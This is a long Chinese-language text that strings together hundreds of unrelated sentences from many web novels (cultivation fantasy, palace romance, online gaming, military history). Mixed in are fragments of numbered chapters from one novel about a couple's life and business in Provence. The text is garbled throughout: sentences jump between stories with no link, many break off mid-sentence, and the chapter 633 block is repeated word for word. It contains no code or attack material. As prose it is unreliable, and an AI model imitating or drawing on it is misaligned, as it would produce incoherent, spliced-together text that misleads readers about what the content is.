孟笑离眼神复杂的看了一眼李妖娆淡漠的表情,气道:“你用我教你的招式来对付我?”说罢抬手打了李妖娆一巴掌,李妖娆身子如若风扶柳向地上一跌,脸上被金鳞血甲划出几道血沟,鲜血顺着鼻尖、下颌滴落在地。 那年四月初二,余孝廉身披道袍离家出走,上了茅山做起了道士。 宁修远正好也看着这边,两人四目相对的瞬间,虞问水挥动手中的柴火,示意宁修远要不要过来一起? 从这些人脸上的表情看有的惊讶有的愤怒,还有的很迷茫好像不明白自己怎么会被杀,有一些因为身体弯成各种角度没能站住因而倒在地上,其他人都站得整整齐齐。 直到第七天晚上,坐在床边的李郁第三次在用针刺着俞升的手指尖时,被俞升突然一脚踢坐在地上时,俞升才终于醒來。 “对,所以他才给了我一两银子,”陈冬生想到那一幕,也是满脸的不敢相信,觉得自己现在还在做梦。 看到纸上的那一句话,帝颢 的耳朵不由再次烧了起来,脸色也变得有些不自然。 “没想到会变成了这样,真不知道会变成如何呢。”安迪继续看向论坛,现在发贴的人个个都是游戏里等级超过110级的玩家,只有他们才能发贴,不过这些人发的帖都是差不多的。 貔貅是神兽,在创世里又是被加强过的,哪个胆敢越狱的人,貔貅直接一巴掌就拍死了,他们两个单挑貔貅? “我如果不看在当初大家相识一场,就没有今天的商榷,也没有我之前的提醒了!”人家,只会一步到位的把你往死路上逼,压根儿不等他们回神,有路可选。 孩子们都去上学,沈梦瑶去了学校,上完课,就直接拿着东西,去了医院。 她们在家族中见过许多所谓的青年才俊,然其风采不足面前这人万一。 第627章 水泥森林奇遇记 阿维尼翁和马赛都是省会城市,距离卢尔马兰的公里数也差不多,但两座城市的风格和定位相差甚大。 阿维尼翁是罗马教皇的‘旧居’,整个城市的气氛庄重又严肃,去到那里像是走进了一本厚重历史书,像佐伊这样既漂亮又会打扮的女孩子出现在阿维尼翁街道上立即会引起路人的侧目关注,因为这里的时尚属性欠缺,戏剧或歌曲 沈遥华觉得她该消失时她便消失了,觉得没有阻碍时便真的出去了。 正在看直播的雷布斯一脸蛋碎的表情,这尼玛躺着也中枪,我都在家里偷摸看直播了,还被你这厮提及。 这里的熔岩并没有顾风和深渊公会一行人去的地方多,很多地方都能落脚。 【天网】的重要成员,有多少人为了谋求一个重要信息而用法宝来兑换,对于【天网】而言,他们并不稀缺法宝。 族中最德高望重的族老正拿着代表着境主身份的境玉,躬身亲迎。 就在罗杰斯还待继续做什么动作的时候,一双手缠绕在他腰间,将他向后拉了过去。 巨人医生怒轰,气浪以他为中心,就如被撑破的气球,瞬间爆开,青色冲击波席卷他周身,黑压压的箭雨仿佛迎头撞击上狂风骇人浪瞬间被冲散开。 眨眼间,离烨的生命值就狂泻了大半。诺恩虽然用【瞬移】躲过了机械邪龙一次单体点杀,但接下来机械邪龙狂暴后多出来的【邪龙怒火】技能,是片伤技能,以他的速度根本躲不过去。 眼泪划过她的脸庞,却没有任何声音,顾风彻底慌乱了,心里瞬间没有了底,这是他第一次见何轻雨哭。 那种感觉难以形容,羽化而飞升,飘飘乎不落大概就是这种感觉。 ……就在聂振邦视察了大河集团之后,接下来的半个月时间里,方远山却是如同销声匿迹了一样,彻底没有了声音。 唐健同样不知道他当年发誓的时候,邓倚梦也发过誓言,此时的邓倚梦的脸上就如同抹上了一层晚霞,在唐健的眼里分外妖娆。 一想到西藏的农奴主竟然和英国人勾结,冯国璋不觉愤怒的握紧了拳头。 忽地背心一凉,身后传来衣袂翻飞声,梅灵宇不及转身,长剑铮然出鞘,往后连刺数剑。“七星剑派”的剑法狠辣迅捷,梅灵宇天资聪颖,已得乃师七分真传。 在后面,则是省电视台和省报的记者。甚至,聂振邦还看到了国家电视台的记者。 “随着时间的流逝,矛盾越积越深,终于在一个大 雪飘飞的夜晚,爆发了第一场大战。”持兵低沉着声音说道,他的眼睛极为深邃,像是一片汪洋般深不见底。 遁光散去,一位身穿紫色长衫,面容普通的青年现出身来,并直接盘坐在山顶一块平整的大青石上,闭目调息起来。 落地的楚隽摸了摸脸颊上的血迹,心头一寒,好险,如果自己慢上半拍,就不会是轻伤,而是直接在脑门上钻两个洞了。 自从大规模登陆日本本土之后,唐健就开始筹划孤狼如何配合突击部队闪击东京的计划,在突击部队攻克名古屋之后,太平洋舰队一边在横须贺和东京湾吸日军的注意力,同时在横须贺港某处海岸秘密将孤狼送到了岸上。 哼,真是的,第一次估算就被否定,真是个大坏蛋,太气人了一定要让姐姐好好教训他,姐姐才是最棒的。 第628章 论察言观色的能力 他的脸色变得热切起来,激动地跪下,连声叫道:“多谢大哥哥!”同时磕头如捣蒜。 听到杜娇娇突然对自己说出这么一句话,炎冬不免有些兴奋,但是当炎冬把目光看向杜娇娇的时候,炎冬却感觉到杜娇娇的表情很是怪异,严肃的让炎冬看着心中有些忐忑不安。 里面有板凳,有桌子,有佛像,甚至连手枪都有,可是就是没有易容的东西。 陈龙啸除了枭龙军团的军团长以外,还有一个身份,那就是江城最大企业集团之一的龙之集团大少爷。 王彬彬好奇的看了一眼“废物”,那有人愿意自己说自己是废物的呢? 那年轻人肩上扛着一个扁担,挑了两大箩筐的东西,一摇一摆的,生怕误了什么大事似的。 只是瞬间,罗之柔就被红色液体包裹了起来。像是火焰,却如同鲜血般流动着。 如是半年下来,匡勇毅进展神速,竟然一举步入四阶武徒。十岁开始习武,半年成为中级武徒,这个原本公认已经废了的家伙,竟创下如此奇迹,一时间,皇家学院各处都在传扬。 这送礼物的人,不但长得好看,而且,还这么礼貌,说的话要好听。 江英豪闻言,脸色难看之极,他无言以对,只是看向余天佑,希望余天佑能够好好惩戒匡勇毅一番。 席湛从看到容琅出现眼睛一亮,接着便有些僵硬,看到旁边的秦殃垂了垂眼睛,盯着面前的茶点不说话,甜而不腻,容琅最喜欢的。 “唐茵,你确定要如此绝情?即便你复制了一个跟我同样容貌的人,但是你复制不了我的修为和神烟的生意。”莫默眼睛微眯,已经缓缓的抬起了死神之镰。 如果中途没有夭折的话,杰斯不出十五年,绝对会成为猎盟上领。独领风骚二十年。 “萌萌,你说,刚才报警的那位阿姨能是唯一一个上当的吗?”王动一边看着钞票,一边轻声地问道。 那人一进屋,屋传来一阵衣物摩挲、草垫移位之声,想来是屋里众人在看到来人后纷纷起立,并给他安排座位。 关心坐回到椅中,品味着张菲的话,红着眼忍了一会儿,还是没忍住,于是她干脆趴在圆桌上大声痛哭了起来。 “赔尼玛个屁,车是老子踩的,有种你过来打断老子的‘腿’!”一名躺在地上的大汉怒骂起来。 龙四海大怒,一剑劈出,一条一丈多长的蓝色剑气划破长空而来,途中所有挡路之人,不论是龙家人,还是李家人,尽皆惨死。 闪念之间,他看到宏逸身后的数百名兵马,马上想到这里肯定会有一场恶战。 “你们这队,队长史那克!”中元队长转身,指定史那克为队长。 “先离开这里,然后规划一下,看怎么过去比较安全,然后,明天再过去吧。”林晓峰说道。 孟凡奋力抬了抬头,注视着崖体上的五位仙子,一脸无辜,那五位仙子的眼球也像是在注视着他,充满了无情之意。 从刚才言带凛的行动就该知道,面对对方如果想要反抗,就必须要先下手为强,她们本来就处于弱势,如果还不能够占据哪怕一丝丝的主动权,那就连一丝挣扎的希望都没有了。 李承介想起朴素妍那吻后迷蒙的双眼、宜嗔宜喜的神色,那犹如醉酒后酡红的粉颊,就有些回味唇舌相交、津香暗渡的那一刻,这真是一种让人会上瘾的活动。 “风风清,我需要留在凌族处理一些事情,你替我向阿政说一下,我过段时间再回去。”凌月茹看了一眼林溪,又看了看风清开口道。 “你们什么都没有,都能拼了性命的保护我,我若是在这个时候离开,岂不是太不是东西了?”杨廷笑着说道。 “闽越君之子无诸,见过上国将军!”无诸赶忙赶到最前方的一员武将身前,恭恭敬敬的行礼道。 那他们十几个长老护法,势必会为了教主之位争得个头破血流,恐怕最后活下来的人只有三分之一。 这个证件能给田二苗带来很多便利,比方说昨晚在太平娱乐生的事,当时如果有这个证件,没有任何部门的人有权阻拦他。 这男人倒不是其它男性那般丑陋,不过,也是相比于来说的,放在仙界依然丑陋。 老者在光芒中行走,有着几分出尘的感觉,如果在世俗界被人看到此刻的老者,一定会被惊呼为仙人。 狂人境第二重的气势蜂拥而出,而他身边的三位长老同样是狂人境第二重的气势。 他用劲力挡那巨大的爆炸冲力,可还是被炸晕了,幸好没有受伤。 柯飞虎一愣,虽然老大很厉害,但燕京城这么大,高手如云,老大并不是最厉害的,可他口气为何这么大?连百十万也看不上眼,他究竟想赚多少? 第629章 有趣的圣经故事 马赛鱼汤不是马赛人独有的美味佳肴,也许做的并不正宗,但全法的家庭主妇都能做出独属于自己的‘马赛鱼汤’味道。 然而这道知名度非常高的菜肴又并不经常出现在法国人的餐桌上,因为制作马赛鱼汤的秘诀之一是使用不同种类的鱼做原料,至少6种,不凑齐一大桌子人做这道菜太浪费了。 罗南搬来普罗将这么久,只 只是一瞬间,玻璃爆碎,房倒屋塌,人类和怪物的惨叫,尖叫,哭喊,各种声音混合在一起。 白芊漫正思考如何切割呢,听到声音就疑惑地出来了,然后一眼就看到了周青姚。 一旁围观的人们也将这事儿听了个来龙去脉大致清楚,便纷纷开口评论起来。 “妈,有空我会回来的!”顾北墨知道夏紫琳不舍,所以放柔了语气。 看她的表情,显然她不但认识苏静云,而且还与苏静云的关系不错。 这些根系距离变异牵牛花本体只有几公里,反应零延迟,就算周辰爆发超音速都没逃掉。 “你们不是专家吗?怎么现在一点主意都没有了?你们到底是什么狗屁专家!”黄子平怒道。 地上的满大人先是吐了出嘴里的土,然后一把摘下自己的眼罩,看着面前盯着自己的安恒和托尼,顿时一愣。 “阿漾容易害羞,细水长流,我不急。”江年倒是一如既往的淡定,他从一开始就不打算像父母这般闪电式发展。 他们心中更加遗憾,自己未能成为像林浩一样的幸运儿,能得到苏静云的青睐。 这是王怒的第一感觉。如果是亲生的,就算发生儿子要杀死老子的事,老子也不会这样下狠手吧。 原来,自己已经不知不觉在实力上与自己曾经的偶像同起同坐,甚至是早已超越他了。 她猜她一走,龙绍炎绝对就去了龙晋鹏的住处,因此也才直接就问了出来。 “她本来就是故意叫我们去的,话不是说的很明白了么?”苏如绘道。 “卫九歌与霍贵妃有什么过往连楚王也没能问出来,但她能活到现在,似乎是霍贵妃暗中照拂的缘故!”苏如绘道。 见两人忙开了,苏如绘去后院看了一回秀婉,见她兀自沉睡,脸色却仿佛好了许多,也是暗暗高兴。 这可是一门了不得术法,早就超越了武技的范畴,应该可用另一个名词,法术或者神通。 丑时过,毛乐言依旧在床上翻来覆去睡不着。她起身推开窗户,月光 流泻下来,如同织锦一般的顺滑。她飞身出去,跃上殿宇的琉璃瓦顶,手里提着一壶酒,坐了一会,便飞身出了宫。 胤禟心中警惕,面上却一脸的平静,他无心大位,也无同兄长们争斗的意思,只是该争得宠他得争,该得的位他要得,若有人看不过眼,欺到他头上来,那他也不会跟他们客气。 但是现在的问题在于,大宋并不是新中国的制度。大宋是个皇权国家,就算赵嘉仁怎么推动,也不会进入社会主义共和国制度。在这种时候,赵嘉仁就得考虑让赵谦成为‘开封府尹’。 杜强也是一副不忍心的样子,可惜的是,他现在也没有办法,如果不答应楚霸天的要求,自己估计也得回家种田了,什么荣华富贵都会彻底消失,说不定连命都不保。 蜂王的翅膀不断煽动起来,发出声响,但是却很听话的自转了一圈,不过和我的想法不太一样,蜂王是绕柱似得转了一圈,然而我一开始的想法是类似空翻的转圈。 第630章 站到了更高的位置,看到了更远的距离 罗南和佐伊在马赛待了一整天。 品尝完美味的马赛鱼汤,罗南提议把今日的主题‘购物’进行到底,与妻子去高级商业区尽情消费了一把,留给佐伊一段记忆犹新的马赛之旅。 第二天,他们开车去到罗南一直想去但没有机会去的威禾东峡谷和圣十字湖。 在秋日的暖阳中穿过蜿蜒的崎岖小径、一路步行到谷底、乘坐 沈天奕展颜浅笑,眼中还是有几分担心,怕陷害她的人有别的计划,但是,这里是大牢,一般人也进不来。 “你们是何人?”几个呼吸后,数名穿着法袍的修道者骑仙鹤落于他们身前,高声质问。 “自是要一起的。”两家在一条街上,不过是顺路的事,有什么不行的,跟着子矜好歹还有个说话的人。 自己这辈子什么样的大事都经历过了,难道还会怕那皇宫里面的事儿吗? 没翻两页,沈天翌已经走向自己平时配药的屋子,瓶瓶罐罐一顿捣鼓,出来时已经神色恢复了正常。 意识很好。他不光是辅助他。还会去帮着打野看着。红蓝爸爸,也一直在龙的附近。一旦发现敌方有人在打龙及时给出信号。 他说着,觉得自己刚才差点被几个项目引诱心动非常丢脸,干脆再次下了逐客令。 易安妮试了试车子,这次,车窗顺利地降了下来。似乎是之前那股不让易安妮下车的力量感应到了易安妮到达了预定的地方,因此不再强制控制这辆车子了。 他晚上睡床上想起白天的事,开始觉得有点对不起百里果,想着想着就变味了,后来脑子里只能想起碰到那一下软软的触感。 好在花夫人和她接触的久了也知道她是个什么性子,好脾气的让人送她回去。 正要上前的甘索被骇住了。阿地在身前扫出手刃,身体中的半透明星神猛地亮起,这道本应令甘索飞出的冲击波没能撼动他,插进地里的双刀退后数米,甘索低着头,旋即起身。 苏逆的剑指仍旧点在他的拳势之上,但人却一直在退,地面上被他梨出一道狭长的痕迹,在那九劫神拳的威势之下,他所过之处,所有的熔岩石人竟都纷纷化为粉末,一拳之威……强大若斯。 星则渊看着曦和,如果真如曦和所说,只有他化作碎片,才能取回星阵魔法图,那他只有令交出星阵魔法图的念头消散。 “这个庞大哥你安排,只要让我知道是谁就行。”在商菲菲看来,落选的人才能肯定是略微差了一些的,在比赛的 时候把他再淘汰下去就行了,他的存在只是为了凑数。 她轻声呢喃,泪水滑落,天地间,仿佛只剩下苏逆和那一十九人对视。 他才不会相信这样的鬼话,在朱重八来,如果郭子兴到时候能释放他,并且而且还器重他。 比如说,把他面对的那么多事情都做好,那简直是一件不可能的事情。 太巫城坐落在太巫山脉西北侧,历史悠久,历经多次上古大战依然屹立于神州大陆之上。 由于是国庆节,所以堵车严重,本来十几分钟的路程,愣是花了近四十分钟苏诚才到目的地。 武当归咳了一声,终于感觉身体重新舒畅起来,短短的交手,外人或许根本看不出两人之间的惊险,但是他却不知已经耗费了多少心力。表面的交手还是轻松的,最难缠的则是看不见的天道碰撞。 第631章 还要继续努力! 如果不是在枫丹村和索尔格玩的不尽如人意,罗南恐怕不会这么早告诉佐伊这个消息。 按照他的性格,必须得单独拎出一个机会公布这个天大的喜讯。 事实上从帕特里西亚小姐的生日会回来,马雷查尔会长在第一时间拜访了罗南家,比大商人罗德里戈还要早来了一阵,那之后两人就开始了密集的往来,主题自然围绕着个人 两人认识的过程,倒有点像欢喜冤家,听的人越发觉得他们太般配了,不过对于很多粉丝来说,自然是不希望自己的偶像有对象的。 接下来,这位僧人发现没有人说他,他这才胆子大了起来,觉得自己这样做真的是太明智了。 血魔一族的圣子脚下血流成河,他周身上下,仿佛形成了个血色茧子,吸收无数人类的精血,自身的气息,变得越来越强。 紫怡老祖没有理会齐宝此时的心情和神态,她看着降临下来的真灵圣使,脚下紫金色遁光一闪,身形便是消失不见。 遗址表面一根根粗壮的冰晶锁链,也开始缓缓流转起来,仿佛一条条活着的冰晶巨蟒在沿着恒星表面游移。 猛跑了十几里路之后,叶天笑眯眯的停在一个偏僻的山头,并回头望去。 而这段时间,宫萝丝吃饭睡觉,甚至于偶尔还出来逛逛,倒像是一个正常人,不过有些太正常了,反而显得刻意,这越来越让秦铮觉得,她在隐瞒着什么。 十三殿下这时候也反应过来了,他的笑声戛然而止,指着苏逆,身后的四个武者顿时动了。 有一点朱重八猜的不错,这里面什么都没有,不对,有东西,好像有些味道,看到了,在亮光的下面,有很多的鸟屎,幸好朱重八没有完全走过去,要不然,就会陷入鸟屎之中了。 还有就是朱元璋现在年龄还是30岁左右,人家刘邦开始起义的时候已经48岁了。 我一阵无语,什么叫变胖了些,主要是因为我这几天都在跟血影的那些家伙战斗,所以我的个子确实长了些,但也不至于那么明显吧? 慕影辰哭笑不得,刚刚还一副“我错了求原谅的”的模样,转眼之间就一副盛气凌人,反正我的错我已经认了,你不原谅我就是你的错的样子。 “不然孤还要怎么待她。”司空琰绯蹙眉道,似乎他真的是在请教这位使者。 刘元浩的英雄被冰冻了之后,交出了净化术,将英雄身上的冰冻给解开。 也许这次大家都知道逃不掉,所以全部都来到了别墅 的大门口,大家并没有交头结耳的说什么,不过我还是能从他们的神色中看出,他们都是一脸的苦色。 这话明显是另有所指,慧姬手下的那些人听了这话全都陷入沉思当中。 国大虽然是国内数一数二的大学,可相比条件设施更好的英国,这里的社团,就算他没有表露出来,想必也是看不上眼的。 这是一个酒吧,不过经过了解后我才知道,原来这个酒吧只是他们老大开的,目的就是做为他们的聚点,以便于隐藏身份。 “看人下菜碟!刚刚阿柔骑着的时候明明很乖巧的!”王宣懿眼泪汪汪。 此刻。叶蓁却正在逗着鹦鹉。色君子不愧是君宁澜养的鹦鹉。吃食方面挑剔极了。倘若是品质不佳的坚果它还不屑一顾。整天也是昂首挺胸的。端的是架子大。 第632章 宣布三件事 旅行季的结束对卢尔马兰手工艺合作社的影响有限。 虽然游客离开了吕贝隆,但普罗旺斯的有钱太太、小姐已在过去的一年中听过和了解过这个品牌,有需求的人自然会来光顾。 从收入构成上分析,本地高端人群才是卢尔马兰手工艺合作社的最大客群,游客只会买些便宜的编织纪念品或者体验课,订购编织家具的情况并不 本应呼啸灵动若游龙的剑身,竟仿佛下方坠了一座巨山般,一分一分向下沉去。 他深呼吸了一口气,本想说什么,只见这丫头此时离他这么近,他甚至能闻到她身上特有的清香时,他忽然摇了摇头。 手掐法诀,一只纸鹤振翅而飞,眨眼之间便到了3楼,停在黑爵面前。 虽然秦翼明和马万年降清,给这一门忠烈,留了些污点,但张璟并不怪他们,毕竟他们也是为大明抗争那么久了,并非是那些螨清大兵一来,一点儿也不抗争的无耻君子能比的。 下沉的八方岛上的灵巫派众人,都是能游泳泅水潜水的,一时半会儿是不会淹死沉没的!不过这时间一长,谁又能保证谁不淹死在海水里面呢? 一旁,李进忠和王体乾还在评头论足秦良玉那如同男子的身躯时,张璟却是望着秦良玉的背影,一言不发。 没等西斯特半神说完话,李昂就冷冷打断了她的话,幻影移形瞬间发动,身形瞬间消失,在原地留下一道缓缓消散的残影。 这句话非常有鼓舞士气的效果,连几只金雕都肉眼可见地精神了许多,有了几分训练的气势。 南星舞知道深驿这人难缠,所以转头看向了在一边发着呆,神情复杂的灵果果。 “别说三个条件,就算三十个条件,我们也绝对答应。”林海半跪着说道。 不过既来之则安之,既然已经到了这般田地我也没有什么好担心的了,大不了老子重头再来。 黑人拿过一份合同,她亲眼看着韩司佑在上面签名,然后两人握手相谈甚欢。 丫的,啥时候疯不行?偏偏赶这种节骨眼上,我勒个去,这是狙击吗?再说了丫的真以为子弹长眼睛了吗? 突然,有人拍了拍他的肩膀,好似冬雪初阳一般,冻结在自己身上和嘴上的坚冰不见了。神行无忌大口大口的喘息他知道自己中招了,是很厉害的幻术,可是,这到底是什么一回事? “慢!”刘军伸出手掌,做出阻止的姿势,她说得对,魂魄丢失,城主怪罪下来,自己的确承受不起。 “司佑,你怎么一副心神不宁的样子?”慕容风睨了一眼神色阴沉的韩司佑,问道。 “早在三个月以前,帝荒出现一场大动乱,从大世界通往帝荒的门户全部都给关闭了,而我就是当时世上唯一一个能穿梭于大世界和帝荒之间,有且仅有我一个!”引渡道人很骄傲的说道。 “好妹妹,别生气嘛,要不,姐姐我陪你再下一局?让你一招怎么样?”见幽若气鼓鼓的模样儿,挺可爱的,有心捉弄她。 当初魏夜风和楚云的样子,她至今仍记忆犹新。如果说这一切都是骗局,她万万不能相信。 可是即便如此又能如何呢,脚步是必须要前行人也是必须要救的。从人界的种种和从阿色到安静的转变,再加上之前黑甲人的传音,秦士玉更加肯定他们就是要引自己来这里的,可是这都是为了什么呢? 第633章 你在做慈善吗? 罗南抛下一众朋友,和罗德里戈先生单独聊了一个多小时,途中夏洛特离开也只是匆匆出去说了两句客套话便又赶了回去。 在卢尔马兰手工艺合作社开业这么重要的日子,这种行径无疑是在表达——罗德里戈是今天最重要的嘉宾! 罗南给足了罗德里戈面子和尊重,态度也相当的谦逊和诚恳,但就是不肯答应和对方马上开展 他还记得那时候她的抑郁症还在治疗中,情绪又不太稳定,林越泽又整天忙得不见人,作为主治医生的他自然陪她的时间比较多。 想到这里,穆云轩也没有再提那件事了。如今看到她身体没大碍,自己也就放心了。开口叮嘱她补品要记得吃,有事要赶紧找医生,不要胡思乱想之后,他也起身告辞了。 好吧,果然还是她把事情想得太简单了,就算她打过去,她该以什么身份去找人家堂堂的军区司令? 布鲁克没耐心等那么久,于是半路,他又让司机开车回到王子府邸,改乘直升飞机前往。 拍完照,崔英颢就将自己的手抽回了,还一副嫌弃的模样甩了甩手,随之用手机打开学校的论坛。 当沐寒清被送到皇城门前时,天色已黑,沐天帅的人听说她受伤又中毒了,没差点晕过去。 说的自然是这满满洒落的桃花,听着有人夸赞自己,这棵老桃树略有得意的甩了甩自己的枝干,几多桃花又洒落了下来。 沈轻轻越想越觉得自己周边危机重重,到处都是情敌,亚历山大肿么破? 魔界那边也同样人数不少,领头的居然是夜姬,还有魔界的几位皇子,而后边的,应该是魔君了。 钱姑姑望着三公主,看着雨雪可爱,让人心生爱慕的容色,难怪沛世子心悦三公主,她真不想把这件事告诉三公主,在她心里,她的三公主配什么人家都配得的。 话锋一转说到四国集结重兵的事情上,男人脸上的笑容渐渐消失。 “那相爷再等等,一会跟娘娘一起吃。”明珠回头便见娘娘看了自己一眼,又移开了目光。 百毒不侵的血统,必定是出在幽族嫡亲当中,而且不一定每一个幽族嫡亲都是百毒不侵的血统,落悠歌这样的体质,即便在当年的幽族也是绝对罕见的。 因为谁也不知道,自己哪一天就会因为楚存安莫名其妙的生气而丧命。身边的朋友不知道有多少都被楚存安随手处置了,转眼就没了命。 而且这一路走来,众人躲过了众多灵兽灵植的袭击,更险 的一次则是墨扶差点被灵植给捆了带走。 龙一退下。贤王负手在廊檐下呆了一会子。夜黑风高,阴云密布。月亮是没有的,不过浓厚阴云里有一抹浅淡的亮光透出。他知道那片阴云背后定是藏着月亮。 如果苗念姗真的没有死的话,那么他也绝对不可能成为邪剑,也绝对不可能不去找邱少泽。 凤梧宫内,有条不紊的忙碌着,娘娘病习惯了,下面的人也伺候习惯了,如今,娘娘已经喝了药,烧也退下去了。 “不好!这是怎么回事?”古凡见寒气竟然顺着血液落下的路径朝古凡的手掌涌来,顿时一股不详的预感袭上心头。 “怎么样,对我给你找的人,还满意么”看着她惊呆的表情,他打断她的思绪。 在古时,苍云大陆还不叫苍云大陆的时候,各个部族首领为挣称人界之皇而烽烟不断,因为“钟鸣”攻击范围大,气势广的特点,在战场之上,颇受青睐。 第633章 你在做慈善吗? 罗南抛下一众朋友,和罗德里戈先生单独聊了一个多小时,途中夏洛特离开也只是匆匆出去说了两句客套话便又赶了回去。 在卢尔马兰手工艺合作社开业这么重要的日子,这种行径无疑是在表达——罗德里戈是今天最重要的嘉宾! 罗南给足了罗德里戈面子和尊重,态度也相当的谦逊和诚恳,但就是不肯答应和对方马上开展 他还记得那时候她的抑郁症还在治疗中,情绪又不太稳定,林越泽又整天忙得不见人,作为主治医生的他自然陪她的时间比较多。 想到这里,穆云轩也没有再提那件事了。如今看到她身体没大碍,自己也就放心了。开口叮嘱她补品要记得吃,有事要赶紧找医生,不要胡思乱想之后,他也起身告辞了。 好吧,果然还是她把事情想得太简单了,就算她打过去,她该以什么身份去找人家堂堂的军区司令? 布鲁克没耐心等那么久,于是半路,他又让司机开车回到王子府邸,改乘直升飞机前往。 拍完照,崔英颢就将自己的手抽回了,还一副嫌弃的模样甩了甩手,随之用手机打开学校的论坛。 当沐寒清被送到皇城门前时,天色已黑,沐天帅的人听说她受伤又中毒了,没差点晕过去。 说的自然是这满满洒落的桃花,听着有人夸赞自己,这棵老桃树略有得意的甩了甩自己的枝干,几多桃花又洒落了下来。 沈轻轻越想越觉得自己周边危机重重,到处都是情敌,亚历山大肿么破? 魔界那边也同样人数不少,领头的居然是夜姬,还有魔界的几位皇子,而后边的,应该是魔君了。 钱姑姑望着三公主,看着雨雪可爱,让人心生爱慕的容色,难怪沛世子心悦三公主,她真不想把这件事告诉三公主,在她心里,她的三公主配什么人家都配得的。 话锋一转说到四国集结重兵的事情上,男人脸上的笑容渐渐消失。 “那相爷再等等,一会跟娘娘一起吃。”明珠回头便见娘娘看了自己一眼,又移开了目光。 百毒不侵的血统,必定是出在幽族嫡亲当中,而且不一定每一个幽族嫡亲都是百毒不侵的血统,落悠歌这样的体质,即便在当年的幽族也是绝对罕见的。 因为谁也不知道,自己哪一天就会因为楚存安莫名其妙的生气而丧命。身边的朋友不知道有多少都被楚存安随手处置了,转眼就没了命。 而且这一路走来,众人躲过了众多灵兽灵植的袭击,更险 的一次则是墨扶差点被灵植给捆了带走。 龙一退下。贤王负手在廊檐下呆了一会子。夜黑风高,阴云密布。月亮是没有的,不过浓厚阴云里有一抹浅淡的亮光透出。他知道那片阴云背后定是藏着月亮。 如果苗念姗真的没有死的话,那么他也绝对不可能成为邪剑,也绝对不可能不去找邱少泽。 凤梧宫内,有条不紊的忙碌着,娘娘病习惯了,下面的人也伺候习惯了,如今,娘娘已经喝了药,烧也退下去了。 “不好!这是怎么回事?”古凡见寒气竟然顺着血液落下的路径朝古凡的手掌涌来,顿时一股不详的预感袭上心头。 “怎么样,对我给你找的人,还满意么”看着她惊呆的表情,他打断她的思绪。 在古时,苍云大陆还不叫苍云大陆的时候,各个部族首领为挣称人界之皇而烽烟不断,因为“钟鸣”攻击范围大,气势广的特点,在战场之上,颇受青睐。